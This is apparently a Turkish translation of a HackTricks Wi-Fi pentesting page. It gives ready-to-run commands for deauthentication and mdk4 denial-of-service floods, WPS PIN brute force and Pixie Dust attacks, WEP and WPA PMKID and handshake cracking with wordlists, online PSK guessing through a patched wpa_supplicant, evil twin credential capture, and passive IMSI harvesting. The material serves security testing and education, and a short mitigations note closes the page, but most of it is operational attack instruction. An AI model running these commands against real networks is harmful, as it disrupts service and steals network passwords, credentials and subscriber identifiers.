Pentesting Wifi

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Wifi temel komutlar

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Araçlar

Hijacker & NexMon (Android dahili Wi-Fi)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

airgeddon’u docker ile çalıştırın

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

Kaynak: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Evil Twin, KARMA ve Known Beacons saldırılarını gerçekleştirebilir ve ardından bir phishing template kullanarak ağın gerçek şifresini elde etmeyi veya sosyal ağ kimlik bilgilerini ele geçirmeyi başarabilir.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Bu araç WPS/WEP/WPA-PSK saldırılarını otomatikleştirir. Otomatik olarak:

  • Arayüzü monitor mode’a alır
  • Olası ağları tarar - ve hedef(leri) seçmenize izin verir
  • Eğer WEP ise - WEP saldırılarını başlatır
  • Eğer WPA-PSK ise
  • Eğer WPS: Pixie dust attack ve bruteforce attack (dikkat: brute-force attack uzun sürebilir). Not: null PIN veya database/generated PIN’leri denemez.
  • AP’den PMKID yakalamaya çalışır ve kırmaya çalışır
  • Handshake yakalamak için AP’nin istemcilerini deauthenticate etmeye çalışır
  • Eğer PMKID veya Handshake alınırsa, top5000 passwords kullanarak brute-force denemesi yapar

Saldırılar Özeti

  • DoS
  • Deauthentication/disassociation – Herkesi (veya belirli bir ESSID/Client’i) bağlantıdan düşürür
  • Random fake APs – Ağları gizler, tarayıcıları çökertme potansiyeli
  • Overload AP – AP’yi devre dışı bırakmayı dener (genellikle çok faydalı değil)
  • WIDS – IDS ile oynama
  • TKIP, EAPOL – Bazı AP’leri DoS etmek için özel saldırılar
  • Cracking
  • Crack WEP (çeşitli araçlar ve yöntemler)
  • WPA-PSK
  • WPS pin “Brute-Force”
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] – captive portal creds yakalamak ve/veya LAN saldırıları gerçekleştirmek için kullanışlı
  • WPA-PSK Evil Twin – Şifreyi biliyorsanız ağ saldırıları için kullanışlı
  • WPA-MGT – Şirket kimlik bilgilerini yakalamak için kullanışlı
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open – captive portal creds yakalamak ve/veya LAN saldırıları gerçekleştirmek için kullanışlı
  • + WPA – WPA handshakes yakalamak için kullanışlı

Open / OWE ağları hızlı notlar

  • Passive capture açık SSID’lerde hâlâ monitor mode ve tcpdump ile çalışır:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
  • OWE (Opportunistic Wireless Encryption) her istemci için anahtar değişimi gerçekleştirir (PSK yok), bu yüzden hava çerçeveleri “open” SSID’lerde bile şifrelenir. WPA3-tabanlı olduğundan, aynı zamanda sahte deauth/disassoc frame’lerini engelleyen 802.11w PMF’yi zorunlu kılar.
  • OWE does not authenticate joiner’ları: herkes bağlanabilir, bu yüzden pazarlama iddialarına güvenmek yerine istemci izolasyonunu doğrulayın. İzolasyon yoksa, yerel L2’de ARP spoofing veya responder-style poisoning hâlâ işe yarar.
  • Evil Twin açık/OWE SSID’lerde daha güçlü bir sinyal sunarak hâlâ mümkündür; PMF sadece deauth kestirmesini kaldırır. Kurbanlar sahte bir TLS cert kabul ederse, tam HTTP(S) MitM yeniden sağlanır.
  • Açık misafir Wi‑Fi’de Broadcast poisoning kolayca kimlik bilgileri/hash’ler sağlar (LLMNR/NBT-NS/mDNS). See:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

DOS

Deauthentication Packets

Açıklama: here:.

Deauthentication saldırıları, Wi‑Fi hacking’te yaygın bir yöntem olup, “management” frame’lerini taklit ederek cihazları bir ağdan zorla ayırmayı içerir. Bu şifrelenmemiş paketler, istemcileri gerçek ağdan geliyormuş gibi kandırır; saldırganların WPA handshakes toplamasına (kırma amaçlı) veya ağ bağlantılarını kalıcı olarak bozmasına olanak tanır. Basitliğiyle tedirgin edici olan bu taktik yaygın şekilde kullanılır ve ağ güvenliği açısından ciddi sonuçlar doğurur.

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 deauthentication anlamına gelir
  • 1 gönderilecek deauths sayısıdır (isteğe bağlı olarak birden fazla gönderebilirsiniz); 0 onları sürekli göndermek anlamına gelir
  • -a 00:14:6C:7E:40:80 access point’ın MAC adresidir
  • -c 00:0F:B5:34:30:30 deauthenticate edilecek client’ın MAC adresidir; bu atlanırsa broadcast deauthentication gönderilir (her zaman işe yaramayabilir)
  • ath0 arayüz adıdır

Disassociation Packets

Disassociation packets, deauthentication packets’e benzer şekilde, Wi-Fi ağlarında kullanılan bir tür management frame’dir. Bu paketler bir cihazın (ör. bir laptop veya smartphone) ile bir access point (AP) arasındaki bağlantıyı kesmek için kullanılır. Disassociation ile deauthentication arasındaki temel fark kullanım senaryolarındadır. Bir AP genellikle deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown gönderirken, disassociation paketleri tipik olarak AP kapanması, yeniden başlatılması veya taşınması durumunda gönderilir; bu da bağlı tüm düğümlerin bağlantısının kesilmesini gerektirir.

Bu saldırı mdk4(mode “d”) ile gerçekleştirilebilir:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Daha fazla DOS saldırısı mdk4 tarafından

İçinde here.

ATTACK MODE b: Beacon Flooding

İstemcilere sahte AP’leri göstermek için beacon frame’leri gönderir. Bu bazen ağ tarayıcılarını ve hatta sürücüleri çökertebilir!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

Menzil içindeki tüm erişilebilir Access Points (APs) adreslerine authentication frames göndermek, özellikle çok sayıda clients söz konusu olduğunda, bu APs’leri aşırı yükleyebilir. Bu yoğun trafik sistem kararsızlığına yol açabilir; bazı APs’lerin kilitlenmesine veya hatta sıfırlanmasına neden olabilir.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

Probing Access Points (APs), bir SSID’nin doğru şekilde görünür olup olmadığını kontrol eder ve AP’nin menzilini doğrular. Bu teknik, bruteforcing hidden SSIDs’i wordlist ile veya wordlist olmadan kullanmakla birleştiğinde, gizli ağları tespit etmeye ve bunlara erişmeye yardımcı olur.

ATTACK MODE m: Michael Countermeasures Exploitation

Farklı QoS kuyruklarına rastgele veya yinelenen paketler göndermek, TKIP APs üzerinde Michael Countermeasures’ı tetikleyebilir ve bu da AP’nin bir dakika kapatılmasına yol açar. Bu yöntem, etkili bir DoS (Denial of Service) saldırı taktiğidir.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

Bir AP’yi EAPOL Start frames ile doldurmak fake sessions oluşturur, AP’yi aşırı yükler ve meşru istemcilerin bağlanmasını engeller. Alternatif olarak, fake EAPOL Logoff messages enjekte etmek istemcileri zorla bağlantıdan çıkarır; her iki yöntem de ağ hizmetini etkili şekilde kesintiye uğratır.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: IEEE 802.11s mesh ağları için saldırılar

Mesh ağlarında bağlantı yönetimi ve yönlendirme üzerine çeşitli saldırılar.

ATTACK MODE w: WIDS Karışıklığı

İstemcileri birden fazla WDS düğümüne veya sahte rogue AP’lere çapraz bağlamak, Saldırı Tespit ve Önleme Sistemlerini manipüle ederek karışıklık ve potansiyel sistem suistimaline yol açabilir.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

Saldırı modu f: Packet Fuzzer

A packet fuzzer featuring diverse packet sources and a comprehensive set of modifiers for packet manipulation.

Airggedon

Airgeddon önceki açıklamalarda önerilen çoğu saldırıyı sunar:

WPS

WPS (Wi-Fi Protected Setup), cihazları bir router’a bağlama sürecini basitleştirir ve WPA veya WPA2 Personal ile şifrelenmiş ağlarda kurulum hızını ve kolaylığını artırır. Kolayca kompromize olan WEP güvenliği için etkisizdir. WPS, iki yarıda doğrulanan 8 haneli bir PIN kullanır; bu, kombinasyon sayısının sınırlı olması nedeniyle brute-force saldırılarına karşı savunmasızdır (11,000 olası kombinasyon).

WPS Bruteforce

Bu işlemi gerçekleştirmek için 2 ana araç vardır: Reaver ve Bully.

  • Reaver WPS için sağlam ve pratik bir saldırı olarak tasarlanmıştır ve çok çeşitli access point’ler ve WPS implementasyonları üzerinde test edilmiştir.
  • Bully WPS brute force saldırısının yeni bir uygulamasıdır, C ile yazılmıştır. Orijinal reaver koduna kıyasla birkaç avantajı vardır: daha az dependency, geliştirilmiş bellek ve cpu performansı, endianness’in doğru işlenmesi ve daha sağlam bir seçenek seti.

Saldırı, özellikle ilk dört hanenin açığa çıkması ve son hanenin checksum görevi görmesi nedeniyle WPS PIN’s vulnerability’den faydalanır; bu da brute-force attack’ı kolaylaştırır. Ancak, agresif saldırganların blocking MAC addresses gibi brute-force savunmaları, saldırının devamı için MAC address rotation gerektirir.

Bully veya Reaver gibi araçlarla WPS PIN elde edildikten sonra, saldırgan WPA/WPA2 PSK’yı ortaya çıkarabilir ve böylece kalıcı ağ erişimi sağlar.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

Bu geliştirilmiş yaklaşım, bilinen zafiyetleri kullanarak WPS PINs’leri hedef alır:

  1. Pre-discovered PINs: Standart WPS PINs kullandığı bilinen belirli üreticilerle ilişkili, önceden keşfedilmiş PIN’lerin bulunduğu bir veritabanını kullanın. Bu veritabanı, MAC-addresses’in ilk üç oktetini bu üreticiler için muhtemel PIN’lerle ilişkilendirir.
  2. PIN Generation Algorithms: ComputePIN ve EasyBox gibi algoritmaları kullanın; bunlar AP’nin MAC-addressine dayanarak WPS PINs’lerini hesaplar. Arcadyan algoritması ayrıca bir device ID gerektirir ve PIN üretim sürecine ekstra bir katman ekler.

WPS Pixie Dust attack

Dominique Bongard bazı Access Points (APs) içinde gizli kodların, yani nonces (E-S1 ve E-S2) oluşturulmasında bir zafiyet keşfetti. Bu nonces çözülebilirse, AP’nin WPS PIN’ini kırmak kolaylaşır. AP, PIN’i meşru olduğunu ve sahte (rogue) bir AP olmadığını kanıtlamak için özel bir kod (hash) içinde ortaya koyar. Bu nonces temel olarak WPS PIN’ini barındıran “kasayı” açan “anahtarlar“dır. Daha fazlası için bkz here.

Basitçe, sorun bazı AP’lerin bağlantı sürecinde PIN’i şifrelemek için yeterince rastgele anahtarlar kullanmamasıydı. Bu, PIN’i ağ dışından tahmin etmeye karşı (offline brute force attack) savunmasız hale getirir.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Cihazı monitor mode’a geçirmek istemiyorsanız veya reaver ve bully ile ilgili bir sorun yaşıyorsanız, OneShot-C’i deneyebilirsiniz. Bu araç monitor mode’a geçmeden Pixie Dust attack gerçekleştirebilir.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

Bazı kötü tasarlanmış sistemler, erişimi bir Null PIN’e (boş veya mevcut olmayan bir PIN) vermesine bile izin verir; bu oldukça sıra dışıdır. Araç Reaver, Bully’den farklı olarak bu zafiyeti test edebilir.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Önerilen tüm WPS saldırıları airgeddon. kullanılarak kolayca gerçekleştirilebilir.

  • 5 ve 6 size kendi özel PIN’inizi deneme imkanı verir (varsa)
  • 7 ve 8 Pixie Dust attack gerçekleştirir
  • 13 size NULL PIN’i test etme imkanı verir
  • 11 ve 12, seçili AP ile ilişkili PINs’leri mevcut veritabanlarından toplayacak ve ComputePIN, EasyBox ve isteğe bağlı olarak Arcadyan (önerilir, neden olmasın?) kullanarak olası PINs’leri üretecek
  • 9 ve 10 her olası PIN’i test edecek

WEP

Neden çöker

  • RC4 seed sadece IV (24 bits) + shared key’dir. IV cleartext, küçüktür (2^24) ve hızlıca tekrar eder, bu yüzden aynı IV’ye sahip ciphertext’ler keystream’i yeniden kullanır.
  • XORing two ciphertexts with the same keystream leaks PlaintextA ⊕ PlaintextB; öngörülebilir başlıklar + RC4 KSA biases (FMS) size anahtar byte’larına “vote” yapmanızı sağlar. PTW bunu ARP trafiğini kullanarak optimize eder ve gereksinimleri milyonlar yerine on binlerce pakete düşürür.
  • Bütünlük yalnızca CRC32 (linear/unkeyed) olduğundan, bir saldırgan bitleri çevirip anahtar olmadan CRC32’yi yeniden hesaplayabilir → packet forgery/replay/ARP injection IV’leri beklerken.

Pratik kırma deterministiktir:

airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon  # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap  # PTW attack recovers key once IV threshold is met

Airgeddon still ships an “All-in-One” WEP workflow if you prefer a guided UI.



WPA/WPA2 PSK

PMKID

2018’de, hashcat revealed yeni bir saldırı yöntemi ortaya koydu, bu yöntem eşsizdi çünkü sadece tek bir paket gerektiriyordu ve hedef AP’ye bağlı herhangi bir client olmasını gerektirmiyordu—saldırgan ile AP arasındaki etkileşim yeterliydi.

Birçok modern yönlendirici, eşleşme sırasında ilk EAPOL çerçevesine isteğe bağlı bir alan ekler; bu alana Robust Security Network denir. Bu, PMKID’yi içerir.

Orijinal gönderide açıklandığı gibi, PMKID bilinen veriler kullanılarak oluşturulur:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

“PMK Name” sabit olduğundan, AP’nin BSSID’sini ve station’ı biliyoruz ve PMK tam bir 4-way handshake’deki ile aynı olduğundan, hashcat bu bilgileri kullanarak PSK’yı kırabilir ve passphrase’i kurtarabilir!

Bu bilgileri toplamak ve şifreyi yerel olarak bruteforce ile kırmak için şunu yapabilirsiniz:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Yakalanan PMKIDs console’da gösterilecek ve ayrıca _ /tmp/attack.pcap_ içinde kaydedilecek.
Şimdi, yakalamayı hashcat/john formatına dönüştürüp kırın:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Lütfen doğru bir hash formatının 4 parça içerdiğini unutmayın, örneğin: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Eğer sizinkinde sadece 3 parça varsa, o zaman geçersizdir (PMKID capture geçerli değildi).

Dikkat: hcxdumptool ayrıca handshakes capture eder (şuna benzer bir şey görünecektir: MP:M1M2 RC:63258 EAPOLTIME:17091). Handshakes’leri dönüştürebilirsiniz hashcat/john formatına cap2hccapx kullanarak

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Bu araçla yakalanan bazı handshakes’in doğru password bilinmesine rağmen cracked edilemediğini fark ettim. Mümkünse handshakes’i geleneksel yöntemle de yakalamanızı veya bu araçla birkaç tane yakalamanızı öneririm.

Handshake capture

Bir WPA/WPA2 ağına yönelik saldırı, bir handshake yakalayarak ve şifreyi offline olarak crack etmeye çalışarak gerçekleştirilebilir. Bu işlem, belirli bir ağın iletişimini ve belirli bir BSSID’nin belirli bir channel üzerindeki trafiğini izlemenizi gerektirir. İşte sadeleştirilmiş bir rehber:

  1. Hedef ağın BSSID, channel ve bir connected client’ını tespit edin.
  2. Belirtilen channel ve BSSID üzerinde ağ trafiğini izlemek ve bir handshake yakalamayı ummak için airodump-ng kullanın. Komut şu şekilde görünecektir:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Handshake yakalama şansını artırmak için istemciyi kısa süreliğine ağdan ayırarak re-authentication yapmaya zorlayın. Bu, istemciye deauthentication packets gönderen aireplay-ng komutu ile yapılabilir:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Unutmayın, client deauthenticated edildiğinde farklı bir AP’ye veya bazı durumlarda farklı bir network’e bağlanmayı deneyebilir.

airodump-ng’de bazı handshake bilgileri göründüğünde bu, handshake’in yakalandığı ve dinlemeyi durdurabileceğiniz anlamına gelir:

Handshake yakalandıktan sonra bunu aircrack-ng ile crack edebilirsiniz:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Dosyada handshake olup olmadığını kontrol et

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Bu araç, tamamlanmış olanın öncesinde bir ESSID için tamamlanmamış bir handshake bulursa, geçerli olanı tespit edemez.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

wpa_supplicant ctrl socket üzerinden daha hızlı çevrimiçi PSK tahmini (no clients/PMKID)

Çevrede client yoksa ve AP PMKID’yi reddediyorsa, supplicants’leri yeniden başlatmadan çevrimiçi olarak PSK’leri deneyebilirsiniz:

  • wpa_supplicant.c dosyasını, auth failure backoff mantığında (yaklaşık ssid->auth_failures) dur = 0; zorlayacak şekilde patchleyin; bu, geçici-devre-dışı bırakma zamanlayıcısını etkili şekilde devre dışı bırakır.
  • Tek bir daemon’ı bir control socket ile çalıştırın:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1

wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
  • Kontrol arayüzü üzerinden yönetin, aynı scan ve network’ü yeniden kullanarak:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED

Socket olaylarını okuyan küçük bir Python döngüsü (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED) tarama yükü olmadan yaklaşık 100 tahmini ~5 dakikada test edebilir. Yine de gürültülü ve tespit edilebilir, ancak her deneme için işlem yeniden başlatmalarını ve backoff gecikmelerini önler.

WPA Enterprise (MGT)

Enterprise WiFi kurulumlarında çeşitli kimlik doğrulama yöntemleriyle karşılaşacaksınız, her biri farklı güvenlik seviyeleri ve yönetim özellikleri sunar. airodump-ng gibi araçları kullanarak ağ trafiğini incelediğinizde, bu kimlik doğrulama türlerine ait tanımlayıcıları fark edebilirsiniz. Bazı yaygın yöntemler şunlardır:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Bu yöntem EAP-PEAP içinde donanım token’larını ve tek kullanımlık parolaları destekler. MSCHAPv2’nin aksine peer challenge kullanmaz ve parolaları erişim noktasına düz metin olarak gönderir; bu durum downgrade saldırıları için risk oluşturur.
  1. EAP-MD5 (Message Digest 5):
  • İstemciden parolanın MD5 hash’inin gönderilmesini içerir. Sözlük saldırılarına karşı savunmasız olması, sunucu kimlik doğrulamasının olmaması ve oturum-özgü WEP anahtarları üretememesi nedeniyle önerilmez.
  1. EAP-TLS (Transport Layer Security):
  • Hem istemci hem sunucu sertifikalarını kimlik doğrulama için kullanır ve iletişimi korumak üzere kullanıcı-tabanlı ve oturum-tabanlı dinamik WEP anahtarları üretebilir.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Şifrelenmiş bir tünel üzerinden karşılıklı kimlik doğrulama sağlar ve kullanıcı-başına, oturum-başına dinamik WEP anahtarları türetme yöntemi sunar. Yalnızca sunucu tarafı sertifikaları gerektirir; istemciler kimlik bilgileri kullanır.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Korunan iletişim için TLS tüneli oluşturarak EAP ile benzer şekilde çalışır. Tünelin sağladığı koruma sayesinde EAP üstünde daha zayıf kimlik doğrulama protokollerinin kullanımı mümkün olur.
  • PEAP-MSCHAPv2: Genellikle PEAP olarak anılır; korunmasız MSCHAPv2 challenge/response mekanizmasını bir TLS tüneli ile birleştirir.
  • PEAP-EAP-TLS (or PEAP-TLS): EAP-TLS’ye benzer ancak sertifikalar değiş tokuş edilmeden önce bir TLS tüneli başlatır, ek bir güvenlik katmanı sağlar.

You can find more information about these authentication methods here and here.

Username Capture

Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the “Identity” messages must be supported, and the username is going to be sent in clear in the “Response Identity” messages.

Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the “Response, Identity” packet, the username of the client will appear.

Anonymous Identities

Identity hiding is supported by both EAP-PEAP and EAP-TTLS. In the context of a WiFi network, an EAP-Identity request is typically initiated by the access point (AP) during the association process. To ensure the protection of user anonymity, the response from the EAP client on the user’s device contains only the essential information required for the initial RADIUS server to process the request. This concept is illustrated through the following scenarios:

  • EAP-Identity = anonymous
  • Bu senaryoda tüm kullanıcılar kullanıcı tanımlayıcıları olarak takma ad “anonymous” kullanır. İlk RADIUS sunucusu EAP-PEAP veya EAP-TTLS sunucusu olarak çalışır ve PEAP/TTLS protokolünün sunucu tarafını yönetir. İç (korumalı) kimlik doğrulama yöntemi ya yerelde işlenir ya da uzak (home) RADIUS sunucusuna devredilir.
  • EAP-Identity = anonymous@realm_x
  • Bu durumda farklı realm’lerden kullanıcılar kimliklerini gizlerken hangi releme ait olduklarını belirtirler. Bu, ilk RADIUS sunucusunun EAP-PEAP veya EAP-TTLS isteklerini home realm’lerindeki RADIUS sunucularına proxy etmesine olanak verir; bu sunucular PEAP veya TTLS sunucusu olarak davranır. İlk RADIUS sunucusu yalnızca bir RADIUS relay düğümü olarak çalışır.
  • Alternatif olarak, ilk RADIUS sunucusu EAP-PEAP veya EAP-TTLS sunucusu olarak çalışıp korumalı kimlik doğrulama yöntemini işleyebilir ya da başka bir sunucuya iletebilir. Bu seçenek farklı realm’ler için ayrı politikalar yapılandırmayı kolaylaştırır.

EAP-PEAP’de, PEAP sunucusu ile PEAP istemcisi arasında TLS tüneli kurulduktan sonra, PEAP sunucusu bir EAP-Identity isteği başlatır ve bunu TLS tüneli üzerinden iletir. İstemci bu ikinci EAP-Identity isteğine, kullanıcının gerçek kimliğini içeren bir EAP-Identity yanıtı göndererek şifreli tünel üzerinden cevap verir. Bu yaklaşım, 802.11 trafiğini dinleyen herhangi birinin kullanıcının gerçek kimliğini görmesini etkili şekilde engeller.

EAP-TTLS biraz farklı bir prosedür izler. EAP-TTLS ile istemci genellikle TLS tüneli tarafından korunan PAP veya CHAP kullanarak doğrulanır. Bu durumda istemci, tünel kurulduktan sonra gönderilen ilk TLS mesajına bir User-Name attribute ve ya bir Password ya da CHAP-Password attribute’u ekler.

Seçilen protokole bakılmaksızın, PEAP/TTLS sunucusu TLS tüneli kurulduktan sonra kullanıcının gerçek kimliğini öğrenir. Gerçek kimlik user@realm veya sadece user şeklinde olabilir. Eğer PEAP/TTLS sunucusu kullanıcının kimlik doğrulamasından da sorumluysa, artık kullanıcının kimliğine sahip olur ve TLS tüneliyle korunan kimlik doğrulama yöntemine devam eder. Alternatif olarak, PEAP/TTLS sunucusu kullanıcının home RADIUS sunucusuna yeni bir RADIUS isteği iletebilir. Bu yeni RADIUS isteği PEAP veya TTLS protokol katmanını içermez. Korumalı kimlik doğrulama yöntemi EAP ise, iç EAP mesajları EAP-PEAP veya EAP-TTLS sarmalayıcısı olmadan home RADIUS sunucusuna iletilir. Giden RADIUS mesajının User-Name attribute’u, gelen RADIUS isteğindeki anonim User-Name’in yerine kullanıcının gerçek kimliğini içerir. Korumalı kimlik doğrulama yöntemi PAP veya CHAP (sadece TTLS tarafından desteklenir) ise, TLS yükünden çıkarılan User-Name ve diğer kimlik doğrulama attribute’ları giden RADIUS mesajında anonim User-Name ve gelen RADIUS isteğindeki TTLS EAP-Message attribute’larının yerine konur.

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leak (IMSI exposure)

SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

Genişletmek için tıklayın ```bash # 1) Enable monitor mode airmon-ng start wlan0

2) Optional: lock channel to the target BSS

airodump-ng wlan0mon –essid

3) Capture 802.1X/EAP frames

Wireshark display filters:

eap || eapol

(identity specifically): eap.code == 2 && eap.type == 1

Kismet: add source wlan0mon; enable 802.1X/EAP views

tcpdump (pcap capture):

tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

4) Wait for a device to auto-connect to the SSID

5) Inspect the first EAP-Response/Identity frame

Expected: ASCII NAI containing IMSI, e.g.

20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

</details>

Notlar:
- Dağıtım, korunmuş kimlik/pseudonimler olmadan çıplak EAP‑SIM/AKA kullanıyorsa, bu TLS tünelinden önce çalışır.
- Ortaya çıkan değer, abonenin SIM'ine bağlı kalıcı bir tanımlayıcıdır; bunun toplanması uzun vadeli izlemeye ve sonrasında telekom kötüye kullanımlarına olanak sağlar.

Etkiler
- Gizlilik: halka açık yerlerde yapılan pasif Wi‑Fi yakalamalarından kaynaklanan kalıcı kullanıcı/cihaz takibi.
- Telekom kötüye kullanımının başlangıcı: IMSI ile SS7/Diameter erişimi olan bir saldırgan konumu sorgulayabilir veya arama/SMS dinleme ve MFA hırsızlığı girişiminde bulunabilir.

Önlemler / Nelere bakılmalı
- İstemcilerin 3GPP yönergelerine (ör. 3GPP TS 33.402) uygun olarak EAP‑SIM/AKA için anonim dış kimlikler (pseudonimler) kullandığını doğrulayın.
